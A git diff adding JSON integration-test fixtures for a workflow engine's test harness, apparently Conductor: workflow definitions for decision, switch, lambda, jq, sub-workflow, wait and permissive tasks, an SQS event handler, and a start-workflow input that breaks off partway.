b/test-harness/src/test/resources/simple_decision_task_integration_test.json new file mode 100644 index 0000000..3e69ada --- /dev/null +++ b/test-harness/src/test/resources/simple_decision_task_integration_test.json @@ -0,0 +1,109 @@ +{ + "name": "DecisionWorkflow", + "description": "DecisionWorkflow", + "version": 1, + "tasks": [ + { + "name": "decisionTask", + "taskReferenceName": "decisionTask", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "c": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_5", + "taskReferenceName": "t5", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_json_jq_transform_integration_test.json b/test-harness/src/test/resources/simple_json_jq_transform_integration_test.json new file mode 100644 index 0000000..dc39477 --- /dev/null +++ b/test-harness/src/test/resources/simple_json_jq_transform_integration_test.json @@ -0,0 +1,32 @@ +{ + "name": "test_json_jq_transform_wf", + "version": 1, + "tasks": [ + { + "name": "jq", + "taskReferenceName": "jq_1", + "inputParameters": { + "input": "${workflow.input}", + "queryExpression": ".input as $_ | { out: ($_.in1.array + $_.in2.array) }" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_lambda_workflow_integration_test.json b/test-harness/src/test/resources/simple_lambda_workflow_integration_test.json new file mode 100644 index 0000000..1496e56 --- /dev/null +++ b/test-harness/src/test/resources/simple_lambda_workflow_integration_test.json @@ -0,0 +1,32 @@ +{ + "name": "test_lambda_wf", + "version": 1, + "tasks": [ + { + "name": "lambda", + "taskReferenceName": "lambda0", + "inputParameters": { + "input": "${workflow.input}", + "scriptExpression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false} }" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_one_task_sub_workflow_integration_test.json b/test-harness/src/test/resources/simple_one_task_sub_workflow_integration_test.json new file mode 100644 index 0000000..1cfcb8d --- /dev/null +++ b/test-harness/src/test/resources/simple_one_task_sub_workflow_integration_test.json @@ -0,0 +1,30 @@ +{ + "name": "sub_workflow", + "description": "sub_workflow", + "version": 1, + "tasks": [ + { + "name": "simple_task_in_sub_wf", + "taskReferenceName": "t1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_set_variable_workflow_integration_test.json b/test-harness/src/test/resources/simple_set_variable_workflow_integration_test.json new file mode 100644 index 0000000..69e66ac --- /dev/null +++ b/test-harness/src/test/resources/simple_set_variable_workflow_integration_test.json @@ -0,0 +1,33 @@ +{ + "name": "test_set_variable_wf", + "version": 1, + "tasks": [ + { + "name": "set_variable", + "taskReferenceName": "set_variable_1", + "inputParameters": { + "var": "${workflow.input.var}" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": { + "variables": "${workflow.variables}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_switch_task_integration_test.json b/test-harness/src/test/resources/simple_switch_task_integration_test.json new file mode 100644 index 0000000..38ad29e --- /dev/null +++ b/test-harness/src/test/resources/simple_switch_task_integration_test.json @@ -0,0 +1,110 @@ +{ + "name": "SwitchWorkflow", + "description": "SwitchWorkflow", + "version": 1, + "tasks": [ + { + "name": "switchTask", + "taskReferenceName": "switchTask", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "c": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_5", + "taskReferenceName": "t5", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/simple_wait_task_workflow_integration_test.json b/test-harness/src/test/resources/simple_wait_task_workflow_integration_test.json new file mode 100644 index 0000000..f6968a9 --- /dev/null +++ b/test-harness/src/test/resources/simple_wait_task_workflow_integration_test.json @@ -0,0 +1,44 @@ +{ + "name": "test_wait_timeout", + "version": 1, + "tasks": [ + { + "name": "waitTimeout", + "taskReferenceName": "wait0", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_1_input_template_integration_test.json b/test-harness/src/test/resources/simple_workflow_1_input_template_integration_test.json new file mode 100644 index 0000000..28a7ab1 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_1_input_template_integration_test.json @@ -0,0 +1,55 @@ +{ + "name": "integration_test_template_wf", + "description": "Test a simple workflow with an input template", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "p3": "${CPEWF_TASK_ID}", + "someNullKey": null + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2", + "param3", + "param4" + ], + "inputTemplate": { + "param1": { + "nested_object": { + "nested_key": "nested_value" + } + }, + "param2": ["list", "of", "strings"], + "param3": "string" + }, + "outputParameters": { + "output": "${t1.output.op}", + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "param3": "${workflow.input.param3}" + }, + "failureWorkflow": "$workflow.input.failureWfName", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/simple_workflow_1_integration_test.json b/test-harness/src/test/resources/simple_workflow_1_integration_test.json new file mode 100644 index 0000000..202cb13 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_1_integration_test.json @@ -0,0 +1,44 @@ +{ + "name": "integration_test_wf", + "description": "integration_test_wf", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "p3": "${CPEWF_TASK_ID}", + "someNullKey": null + }, + "type": "SIMPLE" + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}", + "tp3": "${CPEWF_TASK_ID}" + }, + "type": "SIMPLE" + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${t2.output.uuid}", + "o3": "${t1.output.op}" + }, + "failureWorkflow": "$workflow.input.failureWfName", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/simple_workflow_3_integration_test.json b/test-harness/src/test/resources/simple_workflow_3_integration_test.json new file mode 100644 index 0000000..4d5e687 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_3_integration_test.json @@ -0,0 +1,73 @@ +{ + "name": "integration_test_wf3", + "description": "integration_test_wf3", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "someNullKey": null + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_with_async_complete_system_task_integration_test.json b/test-harness/src/test/resources/simple_workflow_with_async_complete_system_task_integration_test.json new file mode 100644 index 0000000..d085bd3 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_with_async_complete_system_task_integration_test.json @@ -0,0 +1,59 @@ +{ + "name": "async_complete_integration_test_wf", + "description": "async_complete_integration_test_wf", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "p3": "${CPEWF_TASK_ID}", + "someNullKey": null + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "user_task", + "taskReferenceName": "user_task", + "inputParameters": { + "input": "${t1.output.op}" + }, + "type": "USER_TASK", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": true, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${user_task.output.uuid}", + "o3": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_with_optional_task_integration_test.json b/test-harness/src/test/resources/simple_workflow_with_optional_task_integration_test.json new file mode 100644 index 0000000..de280d6 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_with_optional_task_integration_test.json @@ -0,0 +1,58 @@ +{ + "name": "optional_task_wf", + "description": "optional_task_wf", + "version": 1, + "tasks": [ + { + "name": "task_optional", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${t2.output.uuid}", + "o3": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_with_permissive_optional_task_integration_test.json b/test-harness/src/test/resources/simple_workflow_with_permissive_optional_task_integration_test.json new file mode 100644 index 0000000..ac68e09 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_with_permissive_optional_task_integration_test.json @@ -0,0 +1,60 @@ +{ + "name": "permissive_optional_task_wf", + "description": "permissive_optional_task_wf", + "version": 1, + "tasks": [ + { + "name": "task_optional", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${t2.output.uuid}", + "o3": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_with_permissive_task_integration_test.json b/test-harness/src/test/resources/simple_workflow_with_permissive_task_integration_test.json new file mode 100644 index 0000000..9893d3a --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_with_permissive_task_integration_test.json @@ -0,0 +1,94 @@ +{ + "name": "permissive_task_wf", + "description": "permissive_task_wf", + "version": 1, + "tasks": [ + { + "name": "task_permissive", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "retryCount": 1, + "taskDefinition": { + "createdBy": "integration_app", + "name": "task_permissive", + "description": "task_permissive", + "retryCount": 1, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "retryCount": 1, + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_task_2", + "description": "integration_task_2", + "retryCount": 1, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${t2.output.uuid}", + "o3": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_with_resp_time_out_integration_test.json b/test-harness/src/test/resources/simple_workflow_with_resp_time_out_integration_test.json new file mode 100644 index 0000000..812d9b5 --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_with_resp_time_out_integration_test.json @@ -0,0 +1,59 @@ +{ + "name": "RTOWF", + "description": "RTOWF", + "version": 1, + "tasks": [ + { + "name": "task_rt", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${t2.output.uuid}", + "o3": "${t1.output.op}" + }, + "failureWorkflow": "$workflow.input.failureWfName", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_workflow_with_sub_workflow_inline_def_integration_test.json b/test-harness/src/test/resources/simple_workflow_with_sub_workflow_inline_def_integration_test.json new file mode 100644 index 0000000..de3d6dd --- /dev/null +++ b/test-harness/src/test/resources/simple_workflow_with_sub_workflow_inline_def_integration_test.json @@ -0,0 +1,112 @@ +{ + "name": "WorkflowWithInlineSubWorkflow", + "description": "WorkflowWithInlineSubWorkflow", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "tp11": "${workflow.input.param1}", + "tp12": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "swt", + "taskReferenceName": "swt", + "inputParameters": { + "op": "${t1.output.op}", + "imageType": "${t1.output.imageType}" + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "one_task_workflow", + "version": 1, + "workflowDefinition": { + "name": "one_task_workflow", + "version": 1, + "tasks": [ + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "p1": "${workflow.input.imageType}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "imageType", + "op" + ], + "outputParameters": { + "op": "${t3.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0 + } + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "op": "${t1.output.op}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o3": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/sqs-complete-wait-event-handler.json b/test-harness/src/test/resources/sqs-complete-wait-event-handler.json new file mode 100644 index 0000000..10b809a --- /dev/null +++ b/test-harness/src/test/resources/sqs-complete-wait-event-handler.json @@ -0,0 +1,22 @@ +{ + "name": "sqs_complete_wait_task_handler", + "event": "sqs:conductor-test-sqs-COMPLETED", + "condition": "true", + "evaluatorType": "javascript", + "actions": [ + { + "action": "complete_task", + "complete_task": { + "workflowId": "${workflowInstanceId}", + "taskRefName": "wait_for_sqs_event_ref", + "output": { + "eventReceived": true, + "completedBy": "event_handler", + "completedAt": "${$.currentTimeMillis()}" + } + }, + "expandInlineJSON": true + } + ], + "active": true +} diff --git a/test-harness/src/test/resources/sqs-test-workflow.json b/test-harness/src/test/resources/sqs-test-workflow.json new file mode 100644 index 0000000..c31a0f9 --- /dev/null +++ b/test-harness/src/test/resources/sqs-test-workflow.json @@ -0,0 +1,34 @@ +{ + "name": "sqs_test_workflow", + "description": "Test workflow to verify SQS Event Queue AWS SDK v2 upgrade", + "version": 1, + "ownerEmail": "test@conductor.io", + "tasks": [ + { + "name": "send_sqs_event", + "taskReferenceName": "send_sqs_event_ref", + "type": "EVENT", + "sink": "sqs:conductor-test-sqs-COMPLETED", + "asyncComplete": false, + "inputParameters": { + }, + "startDelay": 0, + "optional": false + }, + { + "name": "wait_for_sqs_event", + "taskReferenceName": "wait_for_sqs_event_ref", + "type": "WAIT", + "inputParameters": { + "eventReceived": true + }, + "startDelay": 0, + "optional": false + } + ], + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 300 +} diff --git a/test-harness/src/test/resources/start_workflow_input.json b/test-harness/src/test/resources/start_workflow_input.json new file mode 100644 index 0000000..0abd4d3 --- /dev/null +++ b/test-harness/src/test/resources/start_workflow_input.json @@ -0,0 +1,427 @@ +{ + "startWorkflow": { + "name": "integration_test_wf", + "input": { + "op": { + "TEST_SAMPLE": [ + { + "sourceId": "1413900_10830", + "url": "file/location/a0bdc4d0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_50241", + "url": "file/location/cd4e00a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-55ee8663-85c2-42d3-aca2-4076707e6d4e", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-14056154-1544-4350-81db-b3751fe44777", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-0b0ae5ea-d5c5-410c-adc9-bf16d2909c2e", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-08869779-614d-417c-bfea-36a3f8f199da", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-e117db45-1c48-45d0-b751-89386eb2d81d", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0221421-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/4a009209-002f-4b58-8b96-cb2198f8ba3c" + }, + { + "sourceId": "f0252161-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/55b56298-5e7a-4949-b919-88c5c9557e8e" + }, + { + "sourceId": "f038d070-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/3c4804f4-e826-436f-90c9-52b8d9266d52" + }, + { + "sourceId": "f04e0621-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/689283a1-1816-48ef-83da-7f9ac874bf45" + }, + { + "sourceId": "f04ddf10-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/586666ae-7321-445a-80b6-323c8c241ecd" + }, + { + "sourceId": "f05950c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/31795cc4-2590-4b20-a617-deaa18301f99" + }, + { + "sourceId": "1413900_46819", + "url": "file/location/c74497a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_11177", + "url": "file/location/a231c730-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48713", + "url": "file/location/ca638ae0-5315-11e8-bf88-0efd527701fc" + }, + { + 